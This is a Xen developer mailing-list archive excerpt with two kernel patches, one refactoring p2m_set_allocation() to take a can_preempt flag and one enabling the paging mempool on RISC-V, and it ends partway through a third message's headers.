Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.18
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:18 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563220; x=1785168020; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=Jpi1OQhQ+cckOTheI6EzqlufPMg8rElGByM+dRD5uB4=;
        b=Aj9TeBKiwfyGD4b3qH0HXQMp5qM20UcckCbPaXxLAauS7aLWg7lgkXQYQXVZIQHTpT
         OcSX4kGerfdWNolKihRjMoMZIoKtHWhy0abVZWVWSM8MRoGlLvT8n+IA65V9EQb6pMtS
         5EBFVt9/pSZVhle0tYI6v592RKLsfRDLzJsmvuwthtgrCOil4248qYSF0c0WCbPhe5lM
         EeJKuKio/P7Rreb9l8tbQi5ImZxB0FZSsHKqxuRfm3SgeQhvltQ6AADCBvsRhjtcY+m1
         dr6FzipyNxvJykf3uxUQNZ3n1IDw0lwykBGtcEbpex9CsagC9pYIovnhvx/DkH29o2hG
         S1Yw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563220; x=1785168020;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Jpi1OQhQ+cckOTheI6EzqlufPMg8rElGByM+dRD5uB4=;
        b=qDhJf2JcDUtJaZjDDjNv73KLfXVrF6xfOeEpLSBi57W1NHPhZO+heDJrImwzXTMbf5
         zX0VkxKP5Gqt7YUj1bvQl3D5KFb8LDY2nXV5bYXrgDTvR2KFeP4DGypp92Gfn9ipE43B
         gpCSvCSn1RDKtKsh+RYlv11tIhkct4tWXu/hX4lUz1AANYpwdSJSwvYByVerVzFV/EaN
         NFXEHkTF76qBRdjD/DEelJkYFJ4Uz3siu7xm1V4hAlM/xJGRE409eZkBhIKa5itm0+xF
         8L0TYWLDr9om7bRoBJdq8Pph0kYdt1MJr91EUJmOru9pU/jPeLhZUeDe8XZREQVLrVDi
         TfqQ==
X-Gm-Message-State: AOJu0YyWKj1zAzC6W1k6C8am1uhKSOK0WBMkCHoLaf8WH3aMnPZ/hqlA
	DJ7SwI1hHk6W62ajh/Da9w7wm+NY5mlSzg7if+KnvPtm7Q8FTR6BH/LYfzSm9w==
X-Gm-Gg: AR+sD12iz72M5BzufQFtAEdVqgLOUxV7Oj5q08TdDskcRMyic+PFk4gF/WfYWiv5kAd
	X+wKqs9myzEKjMJn2PPYyK7NDAT6DHA9lkz1SzIPUaMSyIw0IJYPhrFl8qVO7+PY7EU3MWxd1Hs
	UiKEGBFZ02t92Bzx3CCMc5cMAOfVOy5Gib/U6Dj4r4KijNCPLdRYA81P1uYTXMJ2z3r2JMBZFHQ
	/A61D0qR408t7pDrGQFM0q/mkORyCoqV7ih7OMfd7EtCJAh1pZpaqvXZ4DWRoCpNi58Sjew/UlS
	P7EbJM1sKDG80GnixJPyp+xftl5cfPRWdrFwZsFRTie8QdAEXH0xEL6bSF30cJE7FemsYKcqxEB
	+M1Inc17XloNBK/E9s8GOCrPj6V3k0rgt6fwxl7NAAQuMeNergkCiRaxk7Z7aRNtLzivD9KC9yb
	Dnd6YkTkirgH++pHCzfvDJ4ZMJXhZaDdFn
X-Received: by 2002:a05:6000:607:b0:47f:5367:73a3 with SMTP id ffacd0b85a97d-47f62305a1cmr17834461f8f.13.1784563219337;
        Mon, 20 Jul 2026 09:00:19 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>
Subject: [PATCH v6 03/23] xen: arm: update p2m_set_allocation() prototype
Date: Mon, 20 Jul 2026 17:59:44 +0200
Message-ID: <2ebda180488310a6f862242cb173ffc9b106756e.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1784563220-BF6D2034-1ABBD91C/10/73395122804
X-purgate-type: spam
X-purgate-size: 8946

p2m_set_allocation() uses a bool *preempted out-argument that overloads two
meanings. When non-NULL, the value written back (true) duplicates information
already carried by the -ERESTART return code â€” pure redundancy, which the
caller-side ASSERT(preempted == (rc == -ERESTART)) only documents. Separately,
a NULL pointer is an implicit calling convention meaning "preemption is not
permitted in this context".

Replace the pointer with a plain bool can_preempt that explicitly controls
whether the preemption check runs, making the NULL-to-suppress convention
type-safe and self-documenting, and rely on the -ERESTART return code alone to
report that preemption occurred.

Since p2m_set_allocation() is called by the common dom0less build code,
move its declaration from the ARM-specific asm/p2m.h to xen/p2m-common.h.

Reported-by: Jan Beulich <jbeulich@suse.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Reviewed-by: Michal Orzel <michal.orzel@amd.com>
---
Changes in v6:
 - Nothing changed. Only rebase.
---
Changes in v5:
 - Add Reviewed-by: Michal Orzel <michal.orzel@amd.com>
---
Changes in v4:
 - Reword commit message: a NULL pointer was a calling convention meaning
   "preemption not permitted", not pure redundancy.
 - Annotate the explicit can_preempt arguments at the call sites with
   /* can_preempt */ comments for readability.
 - Move the function's doc comment to the prototype in xen/p2m-common.h
   (dropping the duplicate above the Arm and RISC-V definitions) and clarify
   that -ERESTART is only returned when can_preempt is true.
 - Add __must_check to the prototype, since the return code is now the only
   preemption-status indicator.
---
Changes in v3:
 - Nothing changed. Only rebase.
---
Changes in v2:
 - new patch
---
---
 xen/arch/arm/include/asm/p2m.h          |  1 -
 xen/arch/arm/mmu/p2m.c                  | 24 ++++++------------------
 xen/arch/riscv/include/asm/paging.h     |  2 +-
 xen/arch/riscv/p2m.c                    |  9 ++-------
 xen/arch/riscv/paging.c                 |  7 ++-----
 xen/common/device-tree/dom0less-build.c |  2 +-
 xen/include/xen/p2m-common.h            |  8 ++++++++
 7 files changed, 20 insertions(+), 33 deletions(-)

diff --git a/xen/arch/arm/include/asm/p2m.h b/xen/arch/arm/include/asm/p2m.h
index 4a4913716bdd..737da60dcf58 100644
--- a/xen/arch/arm/include/asm/p2m.h
+++ b/xen/arch/arm/include/asm/p2m.h
@@ -238,7 +238,6 @@ void p2m_restore_state(struct vcpu *n);
 /* Print debugging/statistial info about a domain's p2m */
 void p2m_dump_info(struct domain *d);
 
-int p2m_set_allocation(struct domain *d, unsigned long pages, bool *preempted);
 int p2m_teardown_allocation(struct domain *d);
 
 static inline void p2m_write_lock(struct p2m_domain *p2m)
diff --git a/xen/arch/arm/mmu/p2m.c b/xen/arch/arm/mmu/p2m.c
index 51abf3504fcf..2cf35d8a3709 100644
--- a/xen/arch/arm/mmu/p2m.c
+++ b/xen/arch/arm/mmu/p2m.c
@@ -65,12 +65,7 @@ int arch_get_paging_mempool_size(struct domain *d, uint64_t *size)
     return 0;
 }
 
-/*
- * Set the pool of pages to the required number of pages.
- * Returns 0 for success, non-zero for failure.
- * Call with d->arch.paging.lock held.
- */
-int p2m_set_allocation(struct domain *d, unsigned long pages, bool *preempted)
+int p2m_set_allocation(struct domain *d, unsigned long pages, bool can_preempt)
 {
     struct page_info *pg;
 
@@ -112,11 +107,8 @@ int p2m_set_allocation(struct domain *d, unsigned long pages, bool *preempted)
             break;
 
         /* Check to see if we need to yield and try again */
-        if ( preempted && general_preempt_check() )
-        {
-            *preempted = true;
+        if ( can_preempt && general_preempt_check() )
             return -ERESTART;
-        }
     }
 
     return 0;
@@ -125,7 +117,6 @@ int p2m_set_allocation(struct domain *d, unsigned long pages, bool *preempted)
 int arch_set_paging_mempool_size(struct domain *d, uint64_t size)
 {
     unsigned long pages = size >> PAGE_SHIFT;
-    bool preempted = false;
     int rc;
 
     if ( (size & ~PAGE_MASK) ||          /* Non page-sized request? */
@@ -133,27 +124,24 @@ int arch_set_paging_mempool_size(struct domain *d, uint64_t size)
         return -EINVAL;
 
     spin_lock(&d->arch.paging.lock);
-    rc = p2m_set_allocation(d, pages, &preempted);
+    rc = p2m_set_allocation(d, pages, /* can_preempt */ true);
     spin_unlock(&d->arch.paging.lock);
 
-    ASSERT(preempted == (rc == -ERESTART));
-
     return rc;
 }
 
 int p2m_teardown_allocation(struct domain *d)
 {
     int ret = 0;
-    bool preempted = false;
 
     spin_lock(&d->arch.paging.lock);
     if ( d->arch.paging.p2m_total_pages != 0 )
     {
-        ret = p2m_set_allocation(d, 0, &preempted);
-        if ( preempted )
+        ret = p2m_set_allocation(d, 0, /* can_preempt */ true);
+        if ( ret == -ERESTART )
         {
             spin_unlock(&d->arch.paging.lock);
-            return -ERESTART;
+            return ret;
         }
         ASSERT(d->arch.paging.p2m_total_pages == 0);
     }
diff --git a/xen/arch/riscv/include/asm/paging.h b/xen/arch/riscv/include/asm/paging.h
index e487c89a4ccd..103384723dc5 100644
--- a/xen/arch/riscv/include/asm/paging.h
+++ b/xen/arch/riscv/include/asm/paging.h
@@ -9,7 +9,7 @@ struct page_info;
 int paging_domain_init(struct domain *d);
 
 int paging_freelist_adjust(struct domain *d, unsigned long pages,
-                           bool *preempted);
+                           bool can_preempt);
 
 int paging_ret_to_domheap(struct domain *d, unsigned int nr_pages);
 int paging_refill_from_domheap(struct domain *d, unsigned int nr_pages);
diff --git a/xen/arch/riscv/p2m.c b/xen/arch/riscv/p2m.c
index 703b9f4d2540..566266e3e78f 100644
--- a/xen/arch/riscv/p2m.c
+++ b/xen/arch/riscv/p2m.c
@@ -428,17 +428,12 @@ int p2m_init(struct domain *d, const struct xen_domctl_createdomain *config)
     return 0;
 }
 
-/*
- * Set the pool of pages to the required number of pages.
- * Returns 0 for success, non-zero for failure.
- * Call with d->arch.paging.lock held.
- */
-int p2m_set_allocation(struct domain *d, unsigned long pages, bool *preempted)
+int p2m_set_allocation(struct domain *d, unsigned long pages, bool can_preempt)
 {
     struct p2m_domain *p2m = p2m_get_hostp2m(d);
     int rc;
 
-    if ( (rc = paging_freelist_adjust(d, pages, preempted)) )
+    if ( (rc = paging_freelist_adjust(d, pages, can_preempt)) )
         return rc;
 
     /*
diff --git a/xen/arch/riscv/paging.c b/xen/arch/riscv/paging.c
index 76a203edbb0c..35f572689a7c 100644
--- a/xen/arch/riscv/paging.c
+++ b/xen/arch/riscv/paging.c
@@ -47,7 +47,7 @@ static int _paging_add_to_freelist(struct domain *d)
 }
 
 int paging_freelist_adjust(struct domain *d, unsigned long pages,
-                           bool *preempted)
+                           bool can_preempt)
 {
     ASSERT(spin_is_locked(&d->arch.paging.lock));
 
@@ -66,11 +66,8 @@ int paging_freelist_adjust(struct domain *d, unsigned long pages,
             return rc;
 
         /* Check to see if we need to yield and try again */
-        if ( preempted && general_preempt_check() )
-        {
-            *preempted = true;
+        if ( can_preempt && general_preempt_check() )
             return -ERESTART;
-        }
     }
 
     return 0;
diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tree/dom0less-build.c
index 9513c1c83766..fcbeb8adbd73 100644
--- a/xen/common/device-tree/dom0less-build.c
+++ b/xen/common/device-tree/dom0less-build.c
@@ -760,7 +760,7 @@ static int __init domain_p2m_set_allocation(struct domain *d, uint64_t mem,
                 domain_p2m_pages(mem, d->max_vcpus);
 
     spin_lock(&d->arch.paging.lock);
-    rc = p2m_set_allocation(d, p2m_pages, NULL);
+    rc = p2m_set_allocation(d, p2m_pages, /* can_preempt */ false);
     spin_unlock(&d->arch.paging.lock);
 
     return rc;
diff --git a/xen/include/xen/p2m-common.h b/xen/include/xen/p2m-common.h
index f0bd9a6b9896..0eb061991283 100644
--- a/xen/include/xen/p2m-common.h
+++ b/xen/include/xen/p2m-common.h
@@ -43,5 +43,13 @@ int __must_check check_get_page_from_gfn(struct domain *d, gfn_t gfn,
                                          bool readonly, p2m_type_t *p2mt_p,
                                          struct page_info **page_p);
 
+/*
+ * Set the pool of pages to the required number of pages.
+ * Returns 0 for success, -ERESTART if preempted (only when can_preempt is
+ * true), or a negative error code on failure.
+ * Call with d->arch.paging.lock held.
+ */
+int __must_check p2m_set_allocation(struct domain *d, unsigned long pages,
+                                    bool can_preempt);
 
 #endif /* _XEN_P2M_COMMON_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366950.1616766 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPm-0004s2-P1; Mon, 20 Jul 2026 16:00:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366950.1616766; Mon, 20 Jul 2026 16:00:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPm-0004ro-K9; Mon, 20 Jul 2026 16:00:22 +0000
Received: by outflank-mailman (input) for mailman id 1366950;
 Mon, 20 Jul 2026 16:00:22 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPm-0004fH-0q
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPl-00HTTh-Ds
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:21 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e460c-e002-0a2a0a5209dd-0a2a4503e392-48
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:21 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4615-fae8-0a2a45030019-d155802db58d-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:21 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-49557167508so18691905e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:21 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.19
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563221; x=1785168021; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=bB3OQj6Kva47FxFhgjMEGNOUR6jc4N6mMAW+8vLlz0k=;
        b=pIK7h/fKmZQuhkYUQlVf+NBKadHOt4f3jhfwD02c6Yev1vUNaiXPGbfb0YLo5/POhs
         XSb38TzjnNZysAzQzKwFaNraRO32TkqN6YtuT8UyH+uN9rTwSGheCyjNPQdgLfyv0ycR
         jML0/MVWju4PyDdATvoiE7z3bmQDnIIi8K0SPbrZPADs8TWbTOrKVcmU9sieAmvYvyaY
         /TmeR4BObztFEr3dd560HkG6CIIGJz7af2X1AR+TFwNxYhZs7swHL0JkuYMzsxahE6Lq
         HT8gh0IwQ4+jhx4ITQYivuJ2BwIBAOnIlEniKA+oZCVMBIVoPzueNzjs9/6bVxMkJL9M
         Ws1A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563221; x=1785168021;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=bB3OQj6Kva47FxFhgjMEGNOUR6jc4N6mMAW+8vLlz0k=;
        b=qvOFX7hVn4IEBopkBwzXCUVVGjPeHF1mNKvhXCJHdFvN3swIuJFEuCdbgQ8dKhFx02
         w/FvLsPrN7yHQBPjQkWSUnaXCOCdmtkqKdOhG/mIuc9y7y2NntOatslcf4krrNgBkA81
         b9UY5nAI1KwWR6t3+1ZmlL8miDIde64j6t+TclMrQ8g6RE0y0bxMCRvc11AAcyqrdA42
         C2fQ4v7qOXHuUcDP+1DSwLeS43ommQntUTUfCwew6RxrBMNE6Xi9KH2KZmGr2GIoQcs+
         n9iwc3C0rrSsqnyeWb+Gps4wc9GcTBImkWmJeHykzF+2hJLCUNvlOcI6lTvYO9EHLK0P
         GXLw==
X-Gm-Message-State: AOJu0YxKBYQL+t+dcay4pvREinK3lKPEo2q1x9B+fL4MIUKb4caJ4HMi
	xv2VUUheIffFBhD5Vj1Bn1MTCWJwUk1VD9I3CJqc17UQhmLayRD60WgqUoOTDQ==
X-Gm-Gg: AfdE7cmEXEjZS24ieVgPTNT9MVvo1NUdNl3c+S+ng5udTSiADXHPdP6rk5Xrq9sCRT1
	1B36BhJBCdR8wX9y9zCXVRc4XGDzVevCacTZaSDaZOUUlX7w1CMyrqQ5JhIiH8LwNrdhL3wl1y8
	JqBYbxpJF4vA+kRGvDJJIR22QqAwBBxI8fbs2Qou95M9mPjWmPYS3unhFcfVarVUhKopBvUqGaT
	Q8DG9mTzm+WNKLHdfSaWTNorzpMj/D6r5BTtByVDmie+c59sjUvTcyNu5DBeM8bkuejpO6cgkxm
	3aRvhGh/vFNkTDGe8etHnbetuV4MM5FfQpCxmsL+ClkWlomBvDF11N59vj1VoXptPpKeHG2cXiu
	cdojifgkCZNizjZmz48b+v57q5yJ/h9fYvFDRhgBmRX2pilZ2qtFTqsvwpDumFV8SfL6APSVrzP
	qgJNNE4GN2yVaNY6Xut1guzOA8wpvFbHvFqLdhR1KYYRQg1Vc=
X-Received: by 2002:a05:600c:3107:b0:495:6400:ab62 with SMTP id 5b1f17b1804b1-4956400ab9dmr20795265e9.20.1784563220383;
        Mon, 20 Jul 2026 09:00:20 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 04/23] xen/riscv: Implement ARCH_PAGING_MEMPOOL
Date: Mon, 20 Jul 2026 17:59:45 +0200
Message-ID: <a8af58bbc1927773e3e49bef3b0fea2e4485dd7d.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784563221-6D8D54E9-FD62546C/10/73395122804
X-purgate-type: spam
X-purgate-size: 2633

The p2m_freelist is used to allocate pages for the P2M. To initialize
this list, domain_p2m_set_allocation() may be called from construct_domU()
in the common Dom0less code, so RISC-V provides an implementation and
enables CONFIG_ARCH_PAGING_MEMPOOL unconditionally.

Additionally, implement arch_{set,get}_paging_mempool_size(). They are
not directly used yet, but are required to support the
XEN_DOMCTL_{get,set}_paging_mempool_size hypercalls.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v4-v6:
 - Nothing changed. Only rebase.
---
Changes in v3:
 - Drop stray blank space in arch_get_paging_mempool_size().
 - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
---
Changes in v2:
 - Turn on CONFIG_ARCH_PAGING_MEMPOOL=y unconditionally and drop all ifdef-s
   related to this config.
 - Optimize check inside arch_set_paging_mempool_size which verify size
   argument.
 - Use pfn_to_paddr() inside arch_get_paging_mempool_size() instead of open
   coding the stuff.
 - Drop ASSERT() from arch_set_paging_mempool_size() as it is impossible to
   have here preempted = true and rc != -ERESTART.
---
---
 xen/arch/riscv/Kconfig |  1 +
 xen/arch/riscv/p2m.c   | 24 ++++++++++++++++++++++++
 2 files changed, 25 insertions(+)

diff --git a/xen/arch/riscv/Kconfig b/xen/arch/riscv/Kconfig
index 41426c205292..48520588fe40 100644
--- a/xen/arch/riscv/Kconfig
+++ b/xen/arch/riscv/Kconfig
@@ -1,5 +1,6 @@
 config RISCV
 	def_bool y
+	select ARCH_PAGING_MEMPOOL
 	select DOMAIN_BUILD_HELPERS
 	select FUNCTION_ALIGNMENT_16B
 	select GENERIC_BUG_FRAME
diff --git a/xen/arch/riscv/p2m.c b/xen/arch/riscv/p2m.c
index 566266e3e78f..1cea86512c8c 100644
--- a/xen/arch/riscv/p2m.c
+++ b/xen/arch/riscv/p2m.c
@@ -1600,3 +1600,27 @@ struct page_info *get_page_from_gfn(struct domain *d, unsigned long gfn,
 
     return p2m_get_page_from_gfn(p2m_get_hostp2m(d), _gfn(gfn), t);
 }
+
+int arch_set_paging_mempool_size(struct domain *d, uint64_t size)
+{
+    unsigned long pages = PFN_DOWN(size);
+    int rc;
+
+    /* Non page-sized request or 32-bit overflow? */
+    if ( pfn_to_paddr(pages) != size )
+        return -EINVAL;
+
+    spin_lock(&d->arch.paging.lock);
+    rc = p2m_set_allocation(d, pages, true);
+    spin_unlock(&d->arch.paging.lock);
+
+    return rc;
+}
+
+/* Return the size of the pool, in bytes. */
+int arch_get_paging_mempool_size(struct domain *d, uint64_t *size)
+{
+    *size = pfn_to_paddr(ACCESS_ONCE(d->arch.paging.total_pages));
+
+    return 0;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366951.1616774 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPq-0005Av-8k; Mon, 20 Jul 2026 16:00:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366951.1616774; Mon, 20 Jul 2026 16:00:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPq-0005Ag-3X; Mon, 20 Jul 2026 16:00:26 +0000
Received: by outflank-mailman (input) for mailman id 1366951;
 Mon, 20 Jul 2026 16:00:24 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPo-00057U-PT
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPo-00CGfz-6M
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:24 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4617-bab6-0a2a0a5309dd-0a2a4507ca5a-2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:24 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4618-b4ea-0a2a45070019-d155dd2ad4e4-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:24 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-47f7444576cso1008605f8f.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:24 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.20
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:22 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563223; x=1785168023; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ALyLLkJ/FueWGNpU6AdvBuLz9jp+wMzaqsUT95MAEFA=;
        b=htaIcNgLnZXiqy5j+OrYU822uiNoKhJOC9eItJFBg7tM1tjWCqlVdFXEXhR0ExmwvZ
         p6aJfN1i709NGfV369VNu+HJrOqcT8Y4EJRACLQDNm/7ha+yi/HG4IcBZWGxgo71W+5D
         lJivWHdCeh27zi0KSc/KJPhFX/vytgKJ7NakKzaGH0U5YpRENlVwaizvqW0W9d8bBYt0
